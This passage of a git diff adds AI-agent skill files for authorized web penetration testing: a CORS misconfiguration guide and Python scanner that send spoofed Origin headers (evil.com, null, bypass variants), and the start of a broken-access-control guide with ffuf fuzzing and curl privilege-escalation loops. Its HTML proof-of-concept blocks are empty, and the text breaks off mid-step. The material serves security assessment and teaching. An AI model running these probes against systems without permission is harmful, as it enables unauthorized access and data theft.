brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/testing-cors-misconfiguration/SKILL.md b/.claude/skills/testing-cors-misconfiguration/SKILL.md new file mode 100644 index 0000000..c15d955 --- /dev/null +++ b/.claude/skills/testing-cors-misconfiguration/SKILL.md @@ -0,0 +1,349 @@ +--- +name: testing-cors-misconfiguration +description: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations + that allow unauthorized cross-domain data access and credential theft during security + assessments. +domain: cybersecurity +subdomain: web-application-security +tags: +- penetration-testing +- cors +- web-security +- owasp +- same-origin-policy +- burpsuite +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1505.003 +- T1083 +- T1003 +--- + +# Testing CORS Misconfiguration + +## When to Use + +- During authorized penetration tests when assessing API endpoints for cross-origin access controls +- When testing single-page applications that make cross-origin API requests +- For evaluating whether sensitive data can be exfiltrated from a victim's browser session +- When assessing microservice architectures with multiple domains sharing data +- During security audits of applications using CORS headers for cross-domain communication + +## Prerequisites + +- **Authorization**: Written penetration testing agreement for the target +- **Burp Suite Professional**: For intercepting and modifying Origin headers +- **Browser with DevTools**: For observing CORS behavior in real browser context +- **Attacker web server**: For hosting CORS exploitation PoC pages +- **curl**: For manual CORS header testing +- **Python HTTP server**: For hosting exploit pages locally + +## Workflow + +### Step 1: Identify CORS Configuration on Target Endpoints + +Check all API endpoints for CORS response headers. + +```bash +# Test with a foreign Origin header +curl -s -I \ + -H "Origin: https://evil.example.com" \ + "https://api.target.example.com/api/user/profile" + +# Check for CORS headers in response: +# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin) +# Access-Control-Allow-Origin: * (BAD if with credentials) +# Access-Control-Allow-Credentials: true (allows cookies) +# Access-Control-Allow-Methods: GET, POST, PUT, DELETE +# Access-Control-Allow-Headers: Authorization, Content-Type +# Access-Control-Expose-Headers: X-Custom-Header + +# Test multiple endpoints +for endpoint in /api/user/profile /api/user/settings /api/transactions \ + /api/admin/users /api/account/balance; do + echo "=== $endpoint ===" + curl -s -I \ + -H "Origin: https://evil.example.com" \ + "https://api.target.example.com$endpoint" | \ + grep -i "access-control" + echo +done +``` + +### Step 2: Test Origin Reflection and Validation Bypass + +Determine how the server validates the Origin header. + +```bash +# Test 1: Arbitrary origin reflection +curl -s -I -H "Origin: https://evil.com" \ + "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin" + +# Test 2: Null origin +curl -s -I -H "Origin: null" \ + "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin" + +# Test 3: Subdomain matching bypass +curl -s -I -H "Origin: https://evil.target.example.com" \ + "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin" + +# Test 4: Prefix/suffix matching bypass +curl -s -I -H "Origin: https://target.example.com.evil.com" \ + "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin" + +curl -s -I -H "Origin: https://eviltarget.example.com" \ + "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin" + +# Test 5: Protocol downgrade +curl -s -I -H "Origin: http://target.example.com" \ + "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin" + +# Test 6: Special characters in origin +curl -s -I -H "Origin: https://target.example.com%60.evil.com" \ + "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin" + +# Test 7: Wildcard with credentials check +curl -s -I -H "Origin: https://evil.com" \ + "https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)" +# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure +``` + +### Step 3: Test Preflight Request Handling + +Assess how the server handles OPTIONS preflight requests. + +```bash +# Send preflight request +curl -s -I -X OPTIONS \ + -H "Origin: https://evil.example.com" \ + -H "Access-Control-Request-Method: PUT" \ + -H "Access-Control-Request-Headers: Authorization, Content-Type" \ + "https://api.target.example.com/api/user/profile" + +# Check: +# Access-Control-Allow-Methods: should only list needed methods +# Access-Control-Allow-Headers: should only list needed headers +# Access-Control-Max-Age: preflight cache duration (long = risky) + +# Test if dangerous methods are allowed +curl -s -I -X OPTIONS \ + -H "Origin: https://evil.example.com" \ + -H "Access-Control-Request-Method: DELETE" \ + "https://api.target.example.com/api/user/profile" | \ + grep -i "access-control-allow-methods" + +# Test if preflight is cached too long +curl -s -I -X OPTIONS \ + -H "Origin: https://evil.example.com" \ + -H "Access-Control-Request-Method: GET" \ + "https://api.target.example.com/api/user/profile" | \ + grep -i "access-control-max-age" +# max-age > 86400 (1 day) allows prolonged abuse after policy change +``` + +### Step 4: Craft CORS Exploitation Proof of Concept + +Build an HTML page that exploits the CORS misconfiguration to steal data. + +```html + + +CORS PoC + +

CORS Exploitation Proof of Concept

+
+ + + +``` + +```html + + +``` + +### Step 5: Exploit Null Origin Vulnerability + +If `Origin: null` is allowed, exploit via sandboxed iframes. + +```html + + + +

Null Origin CORS Exploit

+ + + + + + + +``` + +### Step 6: Test for Internal Network Access via CORS + +Check if CORS allows access from internal origins that could be leveraged via XSS. + +```bash +# Test internal/development origins +INTERNAL_ORIGINS=( + "http://localhost" + "http://localhost:3000" + "http://localhost:8080" + "http://127.0.0.1" + "http://192.168.1.1" + "http://10.0.0.1" + "https://staging.target.example.com" + "https://dev.target.example.com" + "https://test.target.example.com" +) + +for origin in "${INTERNAL_ORIGINS[@]}"; do + echo -n "$origin: " + curl -s -I -H "Origin: $origin" \ + "https://api.target.example.com/api/user/profile" | \ + grep -i "access-control-allow-origin" | tr -d '\r' + echo +done + +# If internal origins are allowed and have XSS: +# 1. Find XSS on http://subdomain.target.example.com +# 2. Use XSS to make CORS request to api.target.example.com +# 3. Exfiltrate data via the XSS + CORS chain +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another | +| **CORS** | Mechanism allowing servers to specify which origins can access their resources | +| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) | +| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects | +| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions | +| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers | +| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| **Burp Suite Professional** | Intercepting requests and modifying Origin headers | +| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) | +| **cors-scanner** | Node.js-based CORS testing tool | +| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context | +| **Python http.server** | Hosting CORS exploit PoC pages | +| **OWASP ZAP** | Automated CORS misconfiguration detection | + +## Common Scenarios + +### Scenario 1: Full Origin Reflection +The API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data. + +### Scenario 2: Null Origin Allowed +The server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data. + +### Scenario 3: Subdomain Wildcard Trust +The CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain. + +### Scenario 4: Regex Bypass on Origin Validation +The server uses regex `target\.example\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access. + +## Output Format + +``` +## CORS Misconfiguration Finding + +**Vulnerability**: CORS Origin Reflection with Credentials +**Severity**: High (CVSS 8.1) +**Location**: All /api/* endpoints on api.target.example.com +**OWASP Category**: A01:2021 - Broken Access Control + +### CORS Configuration Observed +| Header | Value | +|--------|-------| +| Access-Control-Allow-Origin | [Reflects request Origin] | +| Access-Control-Allow-Credentials | true | +| Access-Control-Allow-Methods | GET, POST, PUT, DELETE | +| Access-Control-Expose-Headers | X-Auth-Token | + +### Origin Validation Results +| Origin Tested | Reflected | Credentials | +|---------------|-----------|-------------| +| https://evil.com | Yes | Yes | +| null | Yes | Yes | +| http://localhost | Yes | Yes | +| https://evil.target.example.com | Yes | Yes | + +### Impact +- Any website can read authenticated API responses in victim's browser +- User profile data (email, phone, address) exfiltrable +- Session tokens exposed via X-Auth-Token header +- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens) + +### Recommendation +1. Implement a strict allowlist of trusted origins +2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin +3. Do not allow Origin: null with credentials +4. Validate origins with exact string matching, not regex substring matching +5. Set Access-Control-Max-Age to a reasonable value (600 seconds) +``` diff --git a/.claude/skills/testing-cors-misconfiguration/references/api-reference.md b/.claude/skills/testing-cors-misconfiguration/references/api-reference.md new file mode 100644 index 0000000..6f5fc9b --- /dev/null +++ b/.claude/skills/testing-cors-misconfiguration/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Testing CORS Misconfiguration + +## requests Library + +### Key Methods for CORS Testing +```python +# Test origin reflection +resp = requests.get(url, headers={"Origin": "https://evil.com"}) + +# Test preflight +resp = requests.options(url, headers={ + "Origin": "https://evil.com", + "Access-Control-Request-Method": "PUT", + "Access-Control-Request-Headers": "Authorization" +}) +``` + +## CORS Response Headers +| Header | Description | +|--------|-------------| +| `Access-Control-Allow-Origin` | Specifies allowed origin(s) | +| `Access-Control-Allow-Credentials` | Whether cookies/auth headers are sent | +| `Access-Control-Allow-Methods` | Allowed HTTP methods for cross-origin | +| `Access-Control-Allow-Headers` | Allowed request headers | +| `Access-Control-Expose-Headers` | Headers accessible to JavaScript | +| `Access-Control-Max-Age` | Preflight cache duration in seconds | + +## Vulnerability Patterns +| Pattern | Severity | Description | +|---------|----------|-------------| +| Origin reflection + credentials | Critical | Any site can read authenticated responses | +| Null origin + credentials | High | Exploitable via sandboxed iframes | +| Wildcard + credentials | Critical | Invalid but sometimes misconfigured | +| Subdomain wildcard trust | Medium | XSS on subdomain enables CORS abuse | +| Regex bypass | High | Prefix/suffix matching allows attacker domains | +| Internal origins trusted | Medium | localhost/10.x accepted in production | + +## Testing Checklist +1. Send `Origin: https://evil.com` - check if reflected in ACAO +2. Send `Origin: null` - check if null is accepted +3. Test subdomain variations of target domain +4. Test prefix/suffix bypass: `target.com.evil.com` +5. Test protocol downgrade: `http://` instead of `https://` +6. Check preflight Max-Age (>86400 is excessive) +7. Verify wildcard `*` is not combined with credentials + +## References +- MDN CORS: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS +- PortSwigger CORS: https://portswigger.net/web-security/cors +- OWASP CORS Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing diff --git a/.claude/skills/testing-cors-misconfiguration/scripts/agent.py b/.claude/skills/testing-cors-misconfiguration/scripts/agent.py new file mode 100644 index 0000000..fddf7bb --- /dev/null +++ b/.claude/skills/testing-cors-misconfiguration/scripts/agent.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +"""Agent for testing CORS misconfiguration vulnerabilities during authorized assessments.""" + +import os +import requests +import json +import argparse +import urllib3 +from datetime import datetime +from urllib.parse import urlparse + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +EVIL_ORIGINS = [ + "https://evil.com", + "null", + "http://localhost", + "http://localhost:3000", + "http://127.0.0.1", +] + + +def build_dynamic_origins(target_domain): + """Generate domain-specific bypass origins for testing.""" + return [ + f"https://evil.{target_domain}", + f"https://{target_domain}.evil.com", + f"https://evil{target_domain}", + f"http://{target_domain}", + f"https://sub.{target_domain}", + ] + + +def test_origin_reflection(url, origins, cookies=None): + """Test if server reflects arbitrary Origin headers.""" + print(f"\n[*] Testing origin reflection on {url}") + findings = [] + for origin in origins: + try: + headers = {"Origin": origin} + resp = requests.get(url, headers=headers, cookies=cookies, + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao and acao != "": + reflected = acao == origin + creds = acac.lower() == "true" + severity = "CRITICAL" if reflected and creds else ( + "HIGH" if reflected else "INFO") + if reflected: + findings.append({ + "url": url, "origin": origin, "acao": acao, + "credentials": creds, "severity": severity, + }) + cred_str = " + credentials" if creds else "" + print(f" [{'!' if severity != 'INFO' else '+'}] Origin '{origin}' -> " + f"ACAO: {acao}{cred_str} [{severity}]") + except requests.RequestException: + continue + return findings + + +def test_preflight(url, origin="https://evil.com"): + """Test OPTIONS preflight request handling.""" + print(f"\n[*] Testing preflight (OPTIONS) on {url}") + findings = [] + methods_to_test = ["GET", "POST", "PUT", "DELETE", "PATCH"] + for method in methods_to_test: + try: + headers = { + "Origin": origin, + "Access-Control-Request-Method": method, + "Access-Control-Request-Headers": "Authorization, Content-Type", + } + resp = requests.options(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + acam = resp.headers.get("Access-Control-Allow-Methods", "") + acah = resp.headers.get("Access-Control-Allow-Headers", "") + max_age = resp.headers.get("Access-Control-Max-Age", "") + if method in acam: + print(f" [+] {method} allowed in preflight") + if max_age and int(max_age) > 86400: + findings.append({ + "url": url, "issue": "excessive_max_age", + "max_age": max_age, "severity": "MEDIUM", + }) + print(f" [!] Max-Age too long: {max_age}s (>86400)") + except requests.RequestException: + continue + return findings + + +def test_wildcard_with_credentials(url): + """Test for wildcard CORS with credentials (invalid but sometimes misconfigured).""" + print(f"\n[*] Testing wildcard + credentials on {url}") + try: + resp = requests.get(url, headers={"Origin": "https://any.com"}, + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao == "*" and acac.lower() == "true": + print(f" [!] CRITICAL: Wildcard (*) with credentials=true") + return [{"url": url, "issue": "wildcard_with_credentials", "severity": "CRITICAL"}] + elif acao == "*": + print(f" [+] Wildcard (*) without credentials (acceptable for public APIs)") + except requests.RequestException: + pass + return [] + + +def test_null_origin(url, cookies=None): + """Test if null Origin is accepted (exploitable via sandboxed iframes).""" + print(f"\n[*] Testing null origin on {url}") + try: + resp = requests.get(url, headers={"Origin": "null"}, cookies=cookies, + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao == "null": + creds = acac.lower() == "true" + severity = "HIGH" if creds else "MEDIUM" + print(f" [!] Null origin accepted (credentials: {creds}) [{severity}]") + return [{"url": url, "issue": "null_origin_accepted", + "credentials": creds, "severity": severity}] + else: + print(f" [+] Null origin not reflected") + except requests.RequestException: + pass + return [] + + +def test_internal_origins(url, cookies=None): + """Test if internal/development origins are trusted.""" + print(f"\n[*] Testing internal origins on {url}") + internal = [ + "http://localhost", "http://localhost:3000", "http://localhost:8080", + "http://127.0.0.1", "http://10.0.0.1", "http://192.168.1.1", + ] + findings = [] + for origin in internal: + try: + resp = requests.get(url, headers={"Origin": origin}, cookies=cookies, + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + acao = resp.headers.get("Access-Control-Allow-Origin", "") + if acao == origin: + findings.append({"url": url, "origin": origin, "severity": "MEDIUM"}) + print(f" [!] Internal origin accepted: {origin}") + except requests.RequestException: + continue + return findings + + +def scan_endpoints(base_url, endpoints, token=None): + """Scan multiple endpoints for CORS issues.""" + all_findings = [] + cookies = None + headers_auth = {"Authorization": f"Bearer {token}"} if token else {} + domain = urlparse(base_url).netloc + dynamic_origins = build_dynamic_origins(domain) + test_origins = EVIL_ORIGINS + dynamic_origins + + for endpoint in endpoints: + url = f"{base_url.rstrip('/')}/{endpoint.lstrip('/')}" + all_findings.extend(test_origin_reflection(url, test_origins)) + all_findings.extend(test_null_origin(url)) + all_findings.extend(test_wildcard_with_credentials(url)) + all_findings.extend(test_preflight(url)) + all_findings.extend(test_internal_origins(url)) + return all_findings + + +def generate_report(findings, output_path): + """Generate CORS misconfiguration assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_severity": {}, + "findings": findings, + } + for f in findings: + sev = f.get("severity", "INFO") + report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report saved to {output_path}") + for sev, count in report["by_severity"].items(): + print(f" {sev}: {count}") + + +def main(): + parser = argparse.ArgumentParser(description="CORS Misconfiguration Testing Agent") + parser.add_argument("base_url", help="Base URL of the target") + parser.add_argument("--endpoints", nargs="+", + default=["/api/user/profile", "/api/users", "/api/account"]) + parser.add_argument("--token", help="Bearer token for authenticated testing") + parser.add_argument("-o", "--output", default="cors_report.json") + args = parser.parse_args() + + print(f"[*] CORS Misconfiguration Assessment") + print(f"[*] Target: {args.base_url}") + findings = scan_endpoints(args.base_url, args.endpoints, args.token) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/testing-for-broken-access-control/LICENSE b/.claude/skills/testing-for-broken-access-control/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/testing-for-broken-access-control/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/testing-for-broken-access-control/SKILL.md b/.claude/skills/testing-for-broken-access-control/SKILL.md new file mode 100644 index 0000000..37f6883 --- /dev/null +++ b/.claude/skills/testing-for-broken-access-control/SKILL.md @@ -0,0 +1,369 @@ +--- +name: testing-for-broken-access-control +description: Systematically tests web applications and APIs for broken access control + (OWASP A01:2021), including privilege escalation, missing function-level checks, insecure + direct object references, and multi-tenant data leakage, using Burp Suite with the + Authorize extension. Use during authorized penetration tests or RBAC/multi-tenant + authorization audits. +domain: cybersecurity +subdomain: web-application-security +tags: +- penetration-testing +- access-control +- authorization +- owasp +- privilege-escalation +- web-security +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1505.003 +- T1083 +- T1068 +--- + +# Testing for Broken Access Control + +## When to Use + +- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control +- When evaluating role-based access control (RBAC) implementations across all application endpoints +- For testing multi-tenant applications where users in one organization should not access another's data +- When assessing API endpoints for missing or inconsistent authorization checks +- During security audits where privilege escalation and unauthorized access are primary concerns + +## Prerequisites + +- **Authorization**: Written penetration testing agreement for the target +- **Burp Suite Professional**: With Authorize extension for automated access control testing +- **Multiple test accounts**: Accounts at each role level (admin, manager, user, guest) +- **Application role matrix**: Documentation of what each role should and should not access +- **curl/httpie**: For manual endpoint testing with different authentication contexts +- **ffuf**: For discovering hidden endpoints that may lack access controls + +## Workflow + +### Step 1: Map All Endpoints and Create Access Control Matrix + +Document every endpoint and the expected access level for each role. + +```bash +# Extract all endpoints from Burp Site Map +# Target > Site Map > Right-click > Copy URLs in this host + +# Build a matrix of endpoints vs roles: +# | Endpoint | Admin | Manager | User | Guest | +# |-----------------------|-------|---------|------|-------| +# | GET /admin/dashboard | Allow | Deny | Deny | Deny | +# | GET /api/users | Allow | Allow | Deny | Deny | +# | PUT /api/users/{id} | Allow | Deny | Own | Deny | +# | DELETE /api/posts/{id} | Allow | Allow | Own | Deny | + +# Discover hidden endpoints +ffuf -u "https://target.example.com/FUZZ" \ + -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ + -mc 200,301,302,403 -fc 404 \ + -H "Authorization: Bearer $USER_TOKEN" \ + -o endpoints.json -of json + +# API endpoint discovery +ffuf -u "https://target.example.com/api/v1/FUZZ" \ + -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ + -mc 200,201,204,301,302,401,403,405 -fc 404 \ + -H "Authorization: Bearer $USER_TOKEN" +``` + +### Step 2: Configure Automated Access Control Testing + +Set up Burp Authorize extension for parallel role-based testing. + +``` +# Install Authorize extension: +# Burp > Extender > BApp Store > Search "Authorize" > Install + +# Configuration for three-tier testing: +# 1. Browse the application as Admin (capture all requests) +# 2. In Authorize tab: +# a. Add Regular User's session token in "Replace cookies/headers" +# b. Optionally add a second row for Unauthenticated (no auth header) + +# Example header replacement setup: +# Row 1 (Low-privilege user): +# Cookie: session=low_priv_user_session +# Authorization: Bearer low_priv_token +# +# Row 2 (Unauthenticated): +# [Empty - removes all auth headers] + +# Enable interception in Authorize: +# - Check "Intercept requests from Proxy" +# - Check "Intercept requests from Repeater" + +# Authorize shows results as: +# Green = Properly restricted (different response for different user) +# Red = POTENTIALLY VULNERABLE (same response regardless of role) +# Orange = Uncertain (needs manual verification) +``` + +### Step 3: Test Vertical Privilege Escalation + +Attempt to access higher-privilege functionality with lower-privilege accounts. + +```bash +# Collect tokens for each role +ADMIN_TOKEN="Bearer admin_jwt_here" +MANAGER_TOKEN="Bearer manager_jwt_here" +USER_TOKEN="Bearer user_jwt_here" + +# Test admin endpoints with user token +ADMIN_ENDPOINTS=( + "GET /admin/dashboard" + "GET /admin/users" + "POST /admin/users/create" + "PUT /admin/settings" + "DELETE /admin/users/5" + "GET /admin/logs" + "GET /admin/reports/export" + "POST /admin/backup" +) + +for entry in "${ADMIN_ENDPOINTS[@]}"; do + method=$(echo "$entry" | cut -d' ' -f1) + endpoint=$(echo "$entry" | cut -d' ' -f2) + echo -n "$method $endpoint (as user): " + status=$(curl -s -o /dev/null -w "%{http_code}" \ + -X "$method" \ + -H "Authorization: $USER_TOKEN" \ + -H "Content-Type: application/json" \ + "https://target.example.com$endpoint") + if [ "$status" == "200" ] || [ "$status" == "201" ]; then + echo "VULNERABLE ($status)" + else + echo "OK ($status)" + fi +done + +# Test with method override headers +curl -s -o /dev/null -w "%{http_code}" \ + -X POST \ + -H "Authorization: $USER_TOKEN" \ + -H "X-HTTP-Method-Override: DELETE" \ + "https://target.example.com/admin/users/5" + +# Test with different HTTP methods +for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do + echo -n "$method /admin/users: " + curl -s -o /dev/null -w "%{http_code}" \ + -X "$method" \ + -H "Authorization: $USER_TOKEN" \ + "https://target.example.com/admin/users" + echo +done +``` + +### Step 